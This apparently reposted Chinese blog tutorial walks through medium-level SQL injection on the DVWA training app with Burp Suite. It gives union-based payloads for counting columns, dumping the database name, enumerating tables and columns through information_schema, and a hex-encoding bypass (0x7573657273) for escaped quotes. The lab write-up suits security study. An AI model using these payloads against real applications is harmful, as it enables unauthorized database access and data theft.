sql注入中级

Posted 滨院网安

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了sql注入中级相关的知识,希望对你有一定的参考价值。


POST注入借助Burpsuite工具

将DVWA Security调到Medium

1,查询User ID为3,点击Submit,先分析一下php源代码

sql注入中级

sql注入中级

首先我们可知这是POST型,先检查一下User Id 是否为空,如果为空执行下列操作,先赋值id,然后转义在 SQL 语句中使用的字符串中的特殊字符之后在数据库中查询数据,将结果输出给result,从结果集中取得一行关联数组赋值到row,依次输出first name,sunname。最后关闭函数。因为稍后再index.php page使用,所以我们可以在此处进行设置,以便我们可以像在其余源脚本中一样在此处关闭数据库连接


2.函数分析

(1)mysqli_fetch_row()从结果集中取得一行,并作为枚举数组返回。

sql注入中级

(2)mysqli_real_escape_string()转义在 SQL 语句中使用的字符串中的特殊字符。

其余函数在初级文档说明,在此篇不做重复阐述

sql注入中级


3.进行实际操作

在bp软件中,当USER ID=3时,出现如下界面,为了方便,我们把他转到Repeater下,点击Action,然后Send to Repeater

sql注入中级sql注入中级

在箭头指向部分将id=3改为id=3,然后点击Go

在id=3时会出现如下错误,这是因为有转义字符,单引号失效,需要进行绕过,后续会讲怎样绕过。

sql注入中级sql注入中级

sql语句查询列数,在箭头那输入id=3 order by 2后点击Go,出现右面的结果

sql注入中级sql注入中级sql注入中级

sql语句查询位置输入id=3 union select 1,2#

sql注入中级

sql语句查询数据库名3 union select database(),2#

sql注入中级sql注入中级

sql语句查询数据表名3 union select group_concat(table_name),2 from information_schema.tables where table_schema=database()#

sql注入中级

查询user表中列名

(对方使用转义字符屏蔽 , 等特殊字符,使用绕过方法,可以使用users对应的ascii码进行绕过)id=3 union select group_concat(column_name),2 from information_schema.columns where table_name =users#

如何找users的ASCII,在Decoder中的Encode as 下找到ASCII hex就可出下面的

sql注入中级sql注入中级

id=3 union select group_concat(column_name),2 from information_schema.columns where table_name =0x7573657273#

获取数据


本文介绍的是中级SQL注入,将持续更新SQL注入高级以及盲注,欢迎大家点赞和收藏,您的支持是我创作的最大动力!

以上是关于sql注入中级的主要内容,如果未能解决你的问题,请参考以下文章

安全测试 web安全测试 常规安全漏洞 可能存在SQL和JS注入漏洞场景分析。为什么自己没有找到漏洞,哪么可能存在漏洞场景是?SQL注入漏洞修复 JS注入漏洞修复 漏洞存在场景分析和修复示例(代码片段

sql注入高级

sql注入初中高学习

MyBatis如何防止SQL注入

MyBatis怎么防止SQL注入

SQL注入 -----(显错注入)